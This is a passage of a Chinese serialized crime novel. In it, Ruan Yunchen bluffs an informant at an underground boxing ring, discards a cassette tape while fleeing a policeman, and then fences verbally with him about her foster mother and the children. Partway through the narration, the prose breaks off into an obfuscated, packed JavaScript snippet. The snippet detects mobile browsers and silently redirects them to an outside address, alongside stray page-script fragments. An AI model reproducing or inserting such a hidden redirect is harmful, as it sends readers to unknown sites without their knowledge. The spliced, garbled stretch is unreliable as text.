假如这件事真的和东街有关,周铁山必然脱不了干系。 如果是警察,那周铁山很可能正在被盯着、被盘问,甚至被抓; 如果是龙哥,周铁山或许正在被胁迫,或试图与之撇清关系; 而如果麻烦来自宋祈自己,那周铁山八成也免不了被拖下水,哪怕只是为他善后。 种种可能□□织在一起,将周铁山的时间和精力撕扯得支离破碎。 她不需要知道所有答案。 无论周铁山因为什么被牵绊,无论宋祈的麻烦具体从哪来,这都不重要——因为结果已经摆在那里:拳场成了最容易忽视的角落,而她现在面对的这个瘦小的男人,显然就是藏在角落里那枚最松动的棋子。 她赌的不是对方有多聪明,而是对方不可能滴水不漏。 阮云琛低头压了压帽檐,缓步走到男人身边坐下,动作很轻,脚步却非常稳当。 男人下意识地侧头看了一眼,目光从阮云琛的帽檐下扫过,停了一秒,眼神里透着一丝不安的闪烁。 阮云琛没有说话。 她只是微微偏了偏头,帽檐的阴影稍稍滑开了一点,露出半张脸——不是刻意要让对方看清,却又像是有意为之。 她的表情平静得像是一潭死水,既没有在看拳台上的厮杀,也没有试图掩饰自己的存在,仿佛只是随意坐下,等着对方开口。 主动开口并不能让人真的处于主动位,越是局势未明,越不能急着打破沉默。那些话一旦出口,就像走出掩体的猎物,容易被对方捕捉到破绽。而真正的主动权,不在于开口,而在于对方什么时候开口。 这干瘦的男人在犹豫。 人越是缺乏信息,就越容易被恐惧和不安驱使。 只要她坐在那里不动,保持沉默,他就会因为不确定感而坐立不安,甚至会主动将更多的线索暴露出来——因为错认接头人的是他,听信错认的人的,也会是他。 局势不明的情况下,多说反而容易露出破绽,少说才能套出更多消息。 阮云琛的目光平静地盯着拳台上的搏斗,耳边却分毫不落地捕捉着他每一次吞咽和呼吸的声音。 他在犹豫。 甚至是有些不安。 他很显然认出了阮云琛的面孔——只是眼熟,却不知她究竟是什么身份又是什么地位。 男人的目光一再落在自己露出的半张脸上,反复试图确认,又不敢贸然猜测。但男人唯一能够确认的是,她绝不是来看拳的。 阮云琛不动声色地压低了帽檐,甚至没有看那男人一眼,只是再一次用沉默拖住对方的思绪。 这个时候,沉默才是最锋利的刀刃。 果不其然,男人的目光停留得越久,他的耐性就消磨得越快。最终,他压低声音,问道:“怎么换人了?老周呢?” 阮云琛没有抬头,帽檐的阴影遮住了大半张脸,语气淡淡:“铁山哥忙别的事了。” 台下忽地爆发出一阵叫嚣,台上的拳手倒下了一个,另一个却还在继续挥着拳。汗水混着血滴落在台板上,倒下的那人却早已一动不动。 台下的看客疯狂地拍打着护栏,叫嚷声此起彼伏。那声音喧闹到极点,像是一道隔绝世界的屏障,将男人和阮云琛的对话掩藏在它后面。 男人吸了一口烟,目光时不时扫向台上,但显 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可阮云琛平静得像是一片死水,没有一丝波动。 这份沉默,反而让男人开始不安了。 “你倒是说句话啊?”男人终于忍不住低声开口,语气里带着明显的急躁。他手里的烟快燃到底了,却像没意识到一样,把烟灰抖了一地,手指在膝盖上搓了又搓。 阮云琛缓缓抬起眼,帽檐下的目光轻轻扫过他一瞬,又移开,声音低而轻:“你觉得呢?” 没有情绪,没有反问的语气,甚至没有多余的解释。可就是这几个字,像是被一把尖刀掷在桌面上,砸出一声闷响。 男人愣住了,嘴角动了动,像是想说什么,却被哽在了喉咙里。 他忽然觉得,眼前这个人不像是卧底,更不像是来捣乱的——她的冷静让人不敢轻易怀疑,甚至让人觉得她背后真的有什么铁山哥的交代。 拳场里的喧嚣像一层罩子,将两人隔绝在一场无声的对峙里。 最后,男人低声骂了一句什么,把烟头用力掐灭:“行吧,那你说,改到哪儿?” 拳场外的空气潮湿而粘稠,夹杂着烟味和铁锈的腥气。阮云琛走得很快,帽檐压得低低的,双手紧揣在外套口袋里。 路边废铁场里传来叮叮当当的声响,像是铁块相撞又滑落的声音,在夜里显得尖锐。 脚步踩在沙砾地上,发出轻微的咯吱声,跟那些金属声混在一起,轻而碎,像贴着地面的风。 越往前,夜风越冷。 风穿过工厂区的老旧铁架,发出低沉的嗡鸣声,周围的影子在风里晃动,像是在暗处潜伏着什么。 阮云琛的目光直视前方,但却是越走越快,越走越绷得更紧。 路灯的光时明时暗,照在路边的废弃物上,拉长了那些杂乱的影子。 直到她越过废铁场,走过七八个没有人在的工厂,又拐过了三五个弯道口后,风才变得轻了些。 夜间的凉意随着体温的升高缓缓散去,周围的静寂被一种隐约的嗡鸣所替代。有几声断断续续的人声从远处传来,模糊得像是水里,拉得很长,不够实在,而紧接着,车水马龙的声响便来了。 远处的大街上传来的声音越来越清晰,汽车的轰鸣、刹车的尖鸣、人群的交谈混杂成一片,带着城市独有的热闹气息,逐渐弥漫过来,像一场骤然涨潮的水声,瞬间填满了耳边的空白。 直到站在公交站台前,阮云琛的脚步才停了下来。 路灯的光洒在地上,将影子拉得很长。站台前没有车,夜风吹过,轻轻掀动衣角。 阮云琛抬起头看了眼灯光,又低下头,手从兜里抽出来,手指微微蜷缩,而后隔了很久很久,才缓缓呼出了一口长长的气。 脚底还残留着拳场和工厂区地面的硬感,那些声音,那些影子,都像铁锈的碎屑,贴在身后,久久挥之不去。 跟刀尖舔血的人打交道,从来没那么简单。阮云琛早就明白,这不是靠运气的事,越是心虚的人,越要装得滴水不漏。刚才每一个字、每一次抬眼,甚至是每一次呼吸,她都计算过,不能显得太冷,也不能太热,更不能多说一个字—— 因为多说就会多错,沉默才是最有力的回答。 阮云琛攥着自己的冷静,像攥着一根随时会断的细绳,好不容易熬到了现在。 但她接下来还有另一场仗要打。 手指碰到了口袋里的硬邦邦的东西,阮云琛紧紧攥起了拳头。 冷静不是她的天性,更不是某种天生的优势。那是一场漫长的训练,是在看不见的压迫里一点一点磨出来的——从她杀死阮启明的那一天起,从她发现自己别无选择的那一刻起。 她以为“平静”是一种可以用来伪装的武器,能挡在她和这个世界之间,为淼淼挡住人们的目光,为自己争取活下去的空间。她做到了。多年来,她维持得很好。 但那不过是一层表皮,薄得连她自己都知道随时会裂开。 阮云琛低头看了一眼自己的影子,昏黄的路灯将它拉长,像是被路上的车流割裂成几段。 她从来不缺乏清醒——她清楚,假象的平静撑不了多久。宋祈的存在,就像悬在她头顶的一把刀,时时提醒着她,淼淼的生活不可能真正安稳,而她,也不可能真的脱身。 阮云琛不是没有怕过,怕被戳破的平静,怕那些藏得好好的秘密被翻出来,怕淼淼用讨厌和失望的目光看着她,怕邻居们对她们家投来的异样眼神。 但她更怕的是,这一切会以更加残酷的方式彻底摧毁她和淼淼。 她等了太久了。 不是没想过反抗。只是在此之前,宋祈牢牢掌控着所有的牌,而她手里没有半张可用的筹码。没有筹码的人,就只能活在恐惧里。 可现在不一样了。 或许警察真的在彻查这一直在做着灰色生意的“和安堂”,也或许没有。但赌徒不押赌注,又凭什么坐在赌桌上奢望翻盘? 阮云琛很清楚,宋祈让她收程一冉家的债,是个再明显不过的信号。 这不仅仅是工作,也不仅仅是敲打,而是一场精心编排的试探。宋祈在看她的底线,看她到底能承受多少,看她什么时候会撑不住。 而当他试探出一点裂缝,他一定会步步紧逼,直到把她彻底压垮。 她知道,这一次如果退缩,下一次宋祈会拿出更加锋利的刀,直接割断她所有的退路。 淼淼的病、她的平静生活,甚至是阮秋的存在,连那点脆弱的遮掩,都会被一层一层揭开,到最后什么都不剩。 宋祈的“麻烦缠身”是个机会——也许只是个微不足道的小缝隙,但她必须抓住它。过了这一回,下一次不知道要等到什么时候,也不知道自己还能不能撑到那时候。 有些时候,连退路都成了奢侈品,赌命才是唯一的出路。 她不能再等了。 58. 接洽 棚户区的夜总是压得很低,空气里带着炭火和煤油的味道,像是一口没有盖好的铁锅,焖着厚重的油污气儿。 阮云琛把帽檐压低,手揣在外套口袋里,沿着那条熟悉的巷子缓缓往前走。脚下是坑坑洼洼的地面,边角的积水反射着昏黄的灯光,晃得人眼睛发花。 她的步伐不快,也没有明确的方向,看似随意,却始终绕着那条熟悉的巷子徘徊。 巷子的尽头,就是那家家庭作坊所在的地方,那间—— 有五口人,穷得叮当响,却仍旧相互扶持共同生活的房子。 阮云琛的步子稍稍顿了一下。 她并没有打算进去。 这次也不是宋祈的任务。 似乎正如那络腮胡子所说,宋祈正忙得不可开交——甚至忙到不记得叫人重新在第三天时折返回来去收这家的债。 窗户里透出来的昏黄光芒,在黑暗中晃得像一盏忽明忽暗的油灯。她没往前靠得太近,只是倚着巷口的一根电线杆站了一会儿,眼神淡淡地扫过周围。 这里的房子大多破旧,墙皮剥落得像冬天干裂的手,地上的泥泞里布满了青苔,街边的水沟口还有烂掉的菜叶。 但没有人经过。 路上静悄悄的,每家每户好像都更愿意在夜晚把自己锁在房间里——又或是因为他们隔日要在太阳升起前就出去拼搏,所以现在这七八点的时间里,早已经睡了。 阮云琛抬脚踢了一下地上的小石块,石块滚进了积水里,溅起了一圈波纹。 她静静地站了一会儿,然后缓缓转身,绕到巷子另一头,又一次走了过去。 有小孩的哭声传了来。 阮云琛一怔,脚步不由自主地慢了下来。 她本打算继续往前走,却不知怎么的,竟然下意识地调转了方向,向着那亮着油灯的昏黄窗口靠近了一些。 那哭声尖锐且断断续续,像小猫在挠心窝子,可很快,哭声就低了下来。 “别哭了,快睡吧。”一个女人的声音传出来,带着疲惫的温柔,低低哄了一句,又像是无意间带着点嗔怪,“再哭当心有坏人来抓你。” “别吓孩子。”老人慢吞吞的声音接上,带着几分不耐烦,“明天一早还得起来做活,哄睡了你也歇歇。” “就是啊孩子她妈,你平时也辛苦了。还有你......”男人说着,似乎是轻轻拍了下那成天到晚只知道玩木马的儿子,“别玩了,数学作业写了吗?” 男孩子夸张地“嗷”了一声,嘟囔了一句什么,阮云琛没有听清。 她偏了偏头,手指在外套的口袋里摩挲了一下那盘磁带,下意识地加快了脚步,又第无数次地往巷子口踱了去—— 她忍不住想隔着墙偷偷看两眼,却又打从心底里不想再多听一句......会烦。 烦死了。 巷子尽头是黑漆漆的深处,阮云琛走得飞快,帽檐下的脸冷静又空荡,她什么都不愿意想,什么也不想思考。 却是突然,身后传来一道略带警觉的声音,打破了巷子的死寂—— “你是干什么的?” 声音不高,却带着穿透力,像是一颗小石子砸进水面。 阮云琛的肩膀僵了一瞬,余光扫到一个身影从巷子拐角走出来,正朝她的方向走近。 ——来了。 她没有回头,也没有停下,只是在下一秒,抬起腿就朝前去。 巷子并不宽,两侧堆满了各种杂物:破旧的家具、锈迹斑斑的铁桶,还有乱七八糟的电线杆,把整个路口挤得更窄了。 阮云琛跑得飞快,鞋底踩在湿滑的地面上,溅起一小片水花。 鞋底踩在湿滑的地面上,“啪嗒啪嗒”的水声划破了巷子的寂静,溅起一片片水花,像雨点落在了沉闷的水面上。风迎面灌来,带着一股潮湿发霉的味道,刮得她的耳朵嗡嗡作响。 身后的脚步声立刻追了上来,不疾不徐,却咬得很紧,每一下都像踩在她的后脚跟上。 阮云琛微微侧头瞥了一眼。 来人在明,阮云琛在暗——她沿着每一个屋檐的阴影奔跑,用宽大的兜帽遮住了自己的脸,阻止了对方看清自己的面孔,却并未阻止她看向四周的视线。 阮云琛的速度很快。 她向来擅长逃跑,尤其是在这种阴暗的街巷,特别是像这种逃命的时刻——这种被警察穷追猛打的逃命时刻。 身后的人,是廖致远。 廖致远的脚步不快却稳,如紧追不舍的猎犬,虽只差分毫,却绝不会善罢甘休:“站住!” 那声音带着几分压低的急促,又像是一把突然拔出的刀,直刺在阮云琛的背后。 阮云琛咬了咬牙,步子越跑越快,手攥紧了口袋里的磁带。 她边跑边转过巷子里的几个拐角,眼神迅速扫过路边堆放的杂物,脑子里已经飞快地盘算着接下来该怎么做。 而就在经过第十个转角时,那前头不出意外地又有一个水坑。阮云琛猛地踩上了水坑,脚底一滑,膝盖撞上了堆在旁边的一个铁桶,发出“咚”的一声闷响。 她深吸了一口气,手在口袋里一抖,动作毫不迟疑,猛地抬起手,不动声色地将那盘磁带从口袋里甩飞了出去,像一颗被弹出的子弹,在空中划出一道小小的弧线。 “啪!” 磁带落在地上,滚了几圈,最终钻进了路边杂物堆的阴影里。声音很小,却在寂静的巷子里清晰得像一记响炮。 阮云琛的动作没有停,脚步依旧飞快,几乎没有回头看一眼。风声从耳边呼啸而过,她的目光盯着前方的路,身后那追踪的声音却越来越远。 ——成了。 大概是成了。 巷子的出口就在前方,昏暗的街灯在寒风里轻轻晃动,投下的光影忽明忽暗。阮云琛的脚步没有停,一口气绕过三条街,直到身后完全没有追踪的声音,她才放慢了步伐。 她快速扫了一眼四周。街角的垃圾堆旁有个废弃的脏衣篓,里面堆满了破旧的衣物和床单,夹杂着几件不合时宜的厚外套。 阮云琛没有停顿,利落地脱下自己的外套,丢了进去。那件灰黑色的衣服很快被杂物掩盖,像一颗沉入水底的石子,消失得无影无踪。 夜风贴着她单薄的毛衣穿过,冷得像刀子,但阮云琛的动作依旧迅速。她甩了甩手腕,头也不回地继续向前走,目光扫过每一处可能藏人的阴影,确认自己不再有暴露的可能。 前方的路渐渐开阔了起来。巷子的尽头是一条稍微宽敞一些的街道,零零散散的几盏路灯洒下昏黄的光。阮云琛的脚步轻了些,她在一处墙角停下,低头整理了一下自己微乱的衣领。 风从耳边呼啸而过,吹得她的脸隐隐发疼。 就在这时,身后传来了一阵脚步声。 阮云琛的背脊绷了一下,但脸上的表情依旧平静,像是完全没有注意到有人接近。直到那脚步声越走越近,最终在她身后两米处停了下来,她才缓缓回过头。 是廖致远。 他站在昏黄的灯光下,脸上带着一丝刻意收敛的探究。阮云琛能感觉到他的目光在她身上停留了片刻,眉头微微皱了起来。 “这么巧,阮云琛。”他开了口,声音不高,却透着一种不容忽视的笃定。 阮云琛的目光微微一动,但很快又恢复了惯常的平静。她站直了身子,目光坦然地回视他——这不是“突如其来”的偶遇。 而是阮云琛需要这场“偶遇”。 廖致远的目光如猎鹰一般掠了过来,他的眉头几不可察地紧皱了下:“外套呢?” 他的声音低沉,像是在问一件寻常的小事,但末尾多了几分刻意压下的重量:“这么冷的天,你穿这么少?” 阮云琛手插在口袋里,微微拢了拢衣袖,动作不紧不慢,语气听不出一点情绪起伏:“出门急,忘了拿。” 廖致远沉默了一秒,目光没有移开,落在她袖口微微卷起的地方,似乎在寻找什么痕迹。街灯昏黄,他的脸隐在光影里,那双眼睛却带着一点不容忽视的锐利。 “这么晚了,你一个人?”廖致远的声音依旧不高,带着一点漫不经心。 阮云琛抬起眼皮,看了他一眼,轻轻点了点头。“嗯。” 她的回答干净利落,没有一丝多余的解释,也没有留下任何可以追问的空隙。 廖致远的眉头皱了皱,目光在她身上停留了一会儿,随后转向她身后的街道。他的手指微微摩挲了一下裤线,像是在思索,又像是在等待她露出一点破绽。 空气里弥漫着潮湿的灰尘味,风穿过两人之间,像一把细细的锯条,把那股无声的对峙拉得更长。 阮云琛站在原地,目光没有移开,紧紧盯着廖致远的脸。 她知道,一旦回避他的视线,就像是在空白的档案上签上名字,供人任意填写罪证。可这并不意味着她能轻松应对——那双眼睛太沉了,像两块磨得发亮的石头,正一点一点地试图碾开她所有的伪装。 她的手指在口袋里蜷缩了一下,指尖冰凉地贴在掌心的皮肤上。 长久的沉默。 廖致远盯得太久了,久到她几乎能感觉到视线的重量像某种无形的绳索,正慢慢勒紧。 ——他到底在想什么? 阮云琛猜不出来,却也不能贸然试探。这个时候,沉默是最好的武器。 可沉默的时间越长,那根细线就绷得越紧。 在警察面前,任何谎言都像写在纸上的字迹,藏得再好,终究还是会被一个字一个字地拎出来,拼成完整的句子。 对方的注视像一盏冷光灯,无形中剖开了所有隐藏的细节,甚至连微弱的呼吸都能显得心虚。 忽然,廖致远的目光缓缓收了回来,像是有意无意地扫了一眼她的脚边,又落到街道的尽头。 他的声音随后响起,低而缓,带着一丝探究的意味:“刚才......有人从这边跑过去,你看到了吗?” 阮云琛的眉头微不可察地动了一下,像是听到一个陌生的话题,语气里带着点不经意的疑问:“人?” 她的声音低而平静,像是随口重复了一句,而非在意对方的问题。 廖致远的眼神微微一闪,眯了眯眼,像是在她的回答里捕捉着什么。他的目光扫过她的脸,又掠过街道两侧的暗影,最后缓缓开口,语气带着一点意味不明的弧度:“对,刚才跑过去的一个人。” 他的话说得漫不经心,却像是一张无形的网,试图在每一个细节里找出破绽。 “那人跑得飞快,看着不像是这边的住户。”他说。 阮云琛没有接话,她垂着眼,手插在外套口袋里,掌心冰凉,指尖无意识地蜷缩了一下。 空气里只有风声在游走,把那句“不像是这边的住户”反复拉长,像是在给什么隐晦的怀疑添上更深的暗色。 “没注意。”阮云琛说。 廖致远的目光从她身上挪开,重新扫了一圈周围的街道。昏黄的灯光洒在地上,映出些模糊的影子,他的视线却像是在细细打量每一个角落。 “这地方晚上挺安静啊,”他的声音慢条斯理,听不出明显的情绪波动,“一般也没什么人跑来跑去的。” 他的话音顿了顿,又看向她:“你确定没看到?” “没有。”阮云琛抬了抬眼,声音平静,像是被动接住了他的话,却又无意深究。 “野猫倒是看到了几只。”她补了一句,声音落下的时候,像是将一扇门轻轻关上,彻底堵住了对方的探究。 廖致远盯着她的侧脸,眯了眯眼,嘴角扬起一个模糊的弧度,不知是试探还是自言自语:“是吗?” 空气里再次陷入短暂的静默,风声掠过两人之间,将这片沉默拉得又长又冷。 他忽然笑了一声,低沉而轻微,像是被什么触动了心思,又像是在酝酿下一步动作:“不过你呢,阮云琛,我记得……” 他的声音稍稍放缓,语调却带上了些意味深长的试探:“你好像不住这附近吧?” 阮云琛的神色没有变化,目光却短暂地凝滞了一瞬。她指尖微微用力,掌心抵住口袋内壁,冷硬的布料像是在提醒她保持镇定。 “路过。”她说。 第一次“路过”是慌乱中脱口而出的借口,她甚至没来得及思考自己话里的漏洞。 第二次“路过”是本能的防守,她试图将自己的存在化作无足轻重的偶然。 而这一次,她说得平静而笃定,带着一点刻意为之的意味。 这不是借口,而是她刻意留下的一条线索。 她知道,警察不会轻易放过任何破绽,也不会轻信看似无害的巧合。正因为如此,她必须让这一切看起来既合情合理,又足够让人怀疑。 廖致远盯着她,目光像是要穿透她的表情,去看清她话里的真相。 “路过?”他的声音拉长了一点,带着某种不可忽视的质疑,“你最近……可挺巧啊。” 阮云琛没有接话,只是微微抬了抬下巴,目光毫不避让地对上他的视线。 空气中安静得几乎能听见风卷过街角的声音。 廖致远盯着阮云琛,目光沉沉,像是在看一幅模糊的画,试图从中找出被掩盖的细节。他没有开口,眼神却比语言更具压迫力,仿佛在逼迫她主动打破沉默。 阮云琛站得笔直,目光平静,像是一块不会崩裂的石头。但只有她自己知道,掌心里捏着的布料已经被攥出了皱痕。 沉默像是一张无形的网,越拉越紧,几乎将人窒息。 廖致远忽然收回视线,嘴角扬起一点若有若无的笑意,声音低缓而轻:“你的养母最近还好吗?” 这句话像是一把细长的刀,轻飘飘地落下,却足够刺穿所有伪装。 阮云琛的眼神微微一顿,下一秒,迅速恢复了惯常的冷静。她垂下眼皮,像是在思考,又像是在回忆这个问题是否存在陷阱。 “我记得她叫……”廖致远顿了顿,语气随意得像是在翻看某份旧档案,“高倩,是吧?” 阮云琛的手指在口袋里微不可察地蜷缩了一下。冷硬的布料硌着指尖,像是警告她不要轻举妄动。 她缓缓抬起眼皮,没有立刻回答,只是用一种若有若无的目光看着廖致远,像是在揣摩他的意图。 紧张攀上了后背,像一根隐形的线,勒得她喘不过气。但与此同时,另一种情绪却悄悄浮了上来——那是极轻极淡的一丝松懈,就像风从绷紧的弓弦上掠过。 高倩。 这个名字暴露的信息不多,却足够让她看清一些事情。 廖致远查了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038359|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他不是偶然出现在这里,也不是随便聊起这些。高倩的名字不会凭空被提起,这意味着他一定是去了局里,以警察的身份调取过相关档案。 而要调档案,就需要理由——这几天他明显没有穿警察制服,行动也不显山露水,但他手边的资源和那张疲惫得写满了加班痕迹的脸,却暴露了足够多的信息。 他还在做警察。 阮云琛的喉咙紧了紧,随后又缓缓松开,像是握紧的拳头慢慢地摊开。 赌局没有崩。 她的赌注本就压在廖致远身上——赌他会查她,赌他会追问。只要他还是警察,还是那个多年前撑伞带她离开雨夜的男人,她的计划就有机会走下去。 她轻轻呼出一口气,但声音压得极低,几乎掩在风声里,像是什么都没发生过。 “好像是吧。”阮云琛终于开口,语气平静得像是在回答一件与己无关的小事,“很久没联系了。” 她的目光垂下来,掩住眼底的那点波动,只留下平淡的眉眼和冷静的语气,将她刚才那一瞬的放松掩盖得无影无踪。 “很久?”廖致远的目光没有移开,像是要把她整个人看穿。他没有急着开口,嘴角的弧度却带着一点不易察觉的意味,“她不是你的养母吗?” 阮云琛轻轻呼出一口气,像是在回答一件微不足道的小事:“当时只是挂了个名。” 她的回答干脆利落,甚至带着一点不耐烦的敷衍,却在不经意间堵住了对方继续追问的余地。 廖致远没有立刻开口。他的目光从她脸上掠过,像是在重新审视她的每一寸表情。过了片刻,他点了点头,似乎是接受了这个答案,但嘴角那抹意味不明的笑意却没有消失。 “也是,”他说,语调轻缓,像是在自言自语,“挂名的事,往往没那么牢靠。” 阮云琛的心脏猛地一缩,下一秒又恢复平静。她没有应声,只是稍稍调整了一下站姿,将全身的重量都移向了后脚跟,像是随意而松散的动作,却让她的身体在风里显得更加稳当。 廖致远怀疑的种子已经种下,正在以一种无法控制的速度生根发芽。 每一秒,他的怀疑都在向着不可挽回的方向攀升,像攀着藤蔓的火焰,烧到了最顶端。阮云琛很清楚,这样的气氛不能再拉长。她再多停留一秒,就会让廖致远找到下一个切口。 ——是时候了。 阮云琛抬起头,目光坦然地迎上他那双微眯的眼睛。嘴唇动了动,语气里忽然带上了几分散漫,像是聊起了一件毫无关联的琐事—— “淼淼说城西那边的夜市很好玩,”她声音轻缓,听不出一点起伏,“听说有人唱戏,也有表演。我想着月底带她去看看。” 廖致远的神色没有变化,但目光却微微一凝。 这句话落得猝不及防,像是流畅的弦乐里突然插入了一个不和谐的音符。它看似随意,却又突兀得无法忽视,像一颗石子掷进了刚刚平静下来的湖面,泛起一圈圈涟漪。 阮云琛把话说得很轻,也很自然,语气平稳得像是叙述一个与这片棚户区毫无关系的平常日子。 她抬起手,随意地拢了一下袖口,目光略过廖致远的肩膀,像是无意间扫向远方的街道。 一切都控制得刚刚好。 但她能感觉到自己的手指有些发凉,微微蜷缩着,藏在袖口里——即使从表面看,她的动作如常,神色如常。 廖致远没有立刻接话。他眯了眯眼,眉头轻轻皱了一下,像是想捕捉些什么,却又没有真正说出口。风从他们之间穿过,扬起他大衣的一角,像是空气里也藏着什么微妙的情绪。 “城西的夜市?”他重复了一句,声音低沉,像是在确认。 “嗯。”阮云琛点头,动作干脆,神色依旧云淡风轻。“城西的龙湖街,听说挺热闹的,去看看也不错。” 廖致远盯着她,目光深了一瞬,最终却只是低低地哼了一声,像是随口应和了一句,又像是把疑问暂时搁置下来。 他看不出破绽,也摸不透她的深浅。 但阮云琛知道——她成功了。 廖致远缓缓收回了目光,垂在身侧的手指微微蜷起,像是攥紧了什么,却又松了开。他的眉间带着一点若有所思的神色,最终只是低声说道:“棚户区不安全,你早点回去吧,不然家里的孩子们会担心你的。” 风从两人之间穿过,带起一股湿冷的味道,裹着灰尘散进远处的巷子。 ——“孩子们”。 这个词像是一道无形的针,轻而易举地扎进了阮云琛的耳朵里。 她的动作不自觉地顿了一瞬,但很快就恢复如常。她微微点了点头,抬脚转身离开。 风从背后卷来,带着一点潮湿的霉味,仿佛将他的话揉碎了,散进夜色深处。 ——不是孩子,是孩子们。 廖致远不仅知道她不住在棚户区,恐怕还知道了淼淼的病,知道了她付清医药费的事情。 他恐怕知道一切。 他甚至可能已经在心里反复推演,试图试探那些她小心翼翼遮盖的空白。 和安堂的钱款是灰色的,没有痕迹,但她——一个没有父母遗留积蓄的未成年女孩,怎么能在短时间内凑够那样一笔钱? 廖致远的目光刚才已经告诉她,他心里有了答案,只是没有剥开来说。 阮云琛的脚步依旧平稳,步伐一如既往地冷静,仿佛方才的对话不过是日常的寒暄。但她的手插在口袋里,指尖无声地蜷缩着,掌心被捏湿的冷汗黏腻得几乎要沁进皮肤。 她害怕。 她怕廖致远。 比起宋祈那种人——用刀口舔血,用暴力攫取的人,她更害怕警察。 警察的逻辑是清晰的,程序是冷漠的,一旦将她推到那个地方去,她和淼淼,甚至包括阮秋,都可能被彻底抽丝剥茧。 她一直在逃,从福利院的记录里,从生活的缝隙里,藏在夹缝中喘息。 但仔细一想,宋祈又似乎更加不可估量。 宋祈不是抽丝剥茧的人,他是杀鸡取卵的人。 他不会给她时间,也不会给她选择。他是从她九岁——又或是更早前,在阮启明开始从他手里贷钱时就盘踞在她人生里的阴影,随时可以掀翻她唯一的遮蔽。 淼淼在他的掌控下就像一只脆弱的小鸟,阮秋是他新发现的有趣目标,而她…… 阮云琛知道,在一只猛禽和一柄冰冷的刀之间,无论选择哪一边,最终都会被压得粉碎。 风在巷子尽头掀起一片枯叶,发出细碎的沙沙声。 阮云琛的脚步依旧没有停,她的背脊挺得很直,像是一根被拉紧的弦,快要断掉,却始终撑在那里。 但她心里的天秤仍然会倒向警察......如果他们,真的能做些什么的话。 她不信任廖致远,却赌得起他那些还算正直的念头。 宋祈是掠夺者,廖致远则像一张规则网,虽冷漠却有迹可循。她唯一的机会,就是用这些不确定性去赌另一个可能。 灯光从远处的路口洒下来,拉长了她的影子,也将她的沉默勾勒得更加深刻。她攥紧了口袋里的手,掌心的冷汗仿佛在慢慢蒸发,带着一种被逼到极限的冷静。 阮云琛在心底反复告诫自己—— 这是她唯一的路了。 59. 危机四伏 夜深了。 城市的边缘地带愈发安静下来,冷风裹挟着霾,吹得人眼眶发涩。 阮云琛走在回家的路上,脚步稳得一如既往,但衣袖边缘微微卷起,露出冷风中被冻得泛白的手指。那双手紧紧插在毛衣的口袋里,却挡不住指尖渗出的凉意。 毛衣并不厚,风灌进去时,像是冰刀贴着皮肤刮过。她低着头,兜帽不在,散乱的发丝被风一阵阵掀起,贴在耳侧,带来刺骨的寒意。 廖致远的声音还在脑海中回荡。不断地试探,一个接一个的问题,最后的那句“孩子们”像是一记无声的响锤,钉在她思绪深处,砸得她心头隐隐发紧,又不敢松开那根攥在手心里的线。 她传递给廖致远的线索多半会生效。 她说“夜市”时,那老警察眼底的神色变了,那分明是一颗怀疑的种子正在破土,下一步,必定会沿着她刻意铺设的方向生长。 但这一切,也意味着他在查她。 他的语气、他的目光,甚至是那一句“孩子们”,都在刺破表象,把她的谎言一层层剥开。他知道她不住棚户区,也知道她身边多了一个“孩子”——或者更确切地说,他已经查到了阮秋的存在,甚至可能连淼淼的医药费来源都推测出了一部分。 阮云琛的脚步没停,肩膀绷得很直。风吹得她脸颊发紧,毛衣挡不住刺骨的寒意,冷意一路浸透皮肤,深入骨头。她的手指蜷缩在口袋里,似乎想借掌心的余温暖住某种潜藏的恐慌。 她知道,廖致远不会轻易揭露她,至少现在不会。 没有足够的证据,他不可能轻率地采取行动;更何况,她还是个未成年人。但这些思路未能真正安抚她—— 钢丝下的悬崖正隐隐作响,随时可能崩塌。 每一步,都是试探。谁若是现在冲着她吹一口气,她就会快速坠落下去。 她必须走得更小心,藏得更深,在和安堂被彻底击垮之前,她不能有半点失误。 可她也清楚——这样下去,时间已经不多了。 风从街道上卷来,夹着汽油和尘土的气息,吹得人耳根微凉。不远处的路灯像一串昏暗的标记,光线摇摇欲坠,像是在风中垂死挣扎。 周围的房子大多紧闭门窗,街道尽头的景物隐没在一片模糊的阴影中。 而就在这时,一道刺耳的引擎声突然从旁边的马路上划过。 声音并不大,却带着一种突如其来的急促感,像是一把刀刃从夜色里撕开了一道口子。 阮云琛的目光下意识地一偏,只看到一道暗影迅速地掠过——低矮的车身,漆黑的外壳,车窗反射着冷冷的灯光。 她的脚步微微一顿,眉心不自觉地皱了一下。 车速很快,像一阵风一样从她的视线边缘擦过。等阮云琛想要看清时,那车已经冲过街角,只剩下尾灯短暂的红光,消失在黑暗中。 胸口涌上一阵莫名的不安。 她静静地站了几秒,握紧口袋里的手指,指尖抵着冷硬的布料,试图从那一瞬间的残影里抓住什么。 不对劲。 太熟悉了。 那种快速又突兀的驶过方式,还有刚刚捕捉到的一点模糊轮廓——不是错觉。 和安堂的车! 这个念头像是一根尖刺,猝不及防地扎进阮云琛的脑海,寒意从脊背爬上来,指尖都僵了一瞬。 她的呼吸顿了顿,下一秒,几乎是不假思索地拔腿往家里跑去。 风在耳边呼啸,街道的寒冷扑面而来,毛衣下的皮肤被冻得隐隐作痛。每一步都快而急促,脚下的地面仿佛薄冰,稍一迟疑就会被吞噬。她的目光死死盯着前方的路,周围的景物飞速掠过,像被撕碎的残影。 她跑得很快,心脏在胸腔里砰砰作响,耳朵嗡嗡作鸣。 快了...快了!还有一个路口就到家了! 阮云琛飞奔的脚步忽然一顿。 楼下的面摊又开了起来。 灯光暖黄,锅铲与铁锅相碰的声音清脆地回响在夜色中,带着一股油烟和蒜香味弥漫开来,模糊了冬夜的寒冷。 万秀站在锅台后,手上飞快地翻炒着,火焰舔着锅底,映得她的脸上一阵明一阵暗。她的动作熟练,目光却像无意识地飘向别处,显得有些恍惚。 程一冉正在旁边切菜,刀背一下一下撞击着案板,动作沉稳有力,却少了往日的从容。她抬眼看到阮云琛,手里的刀微微一顿,眉心下意识皱了起来,眼底有几分说不清的复杂情绪。 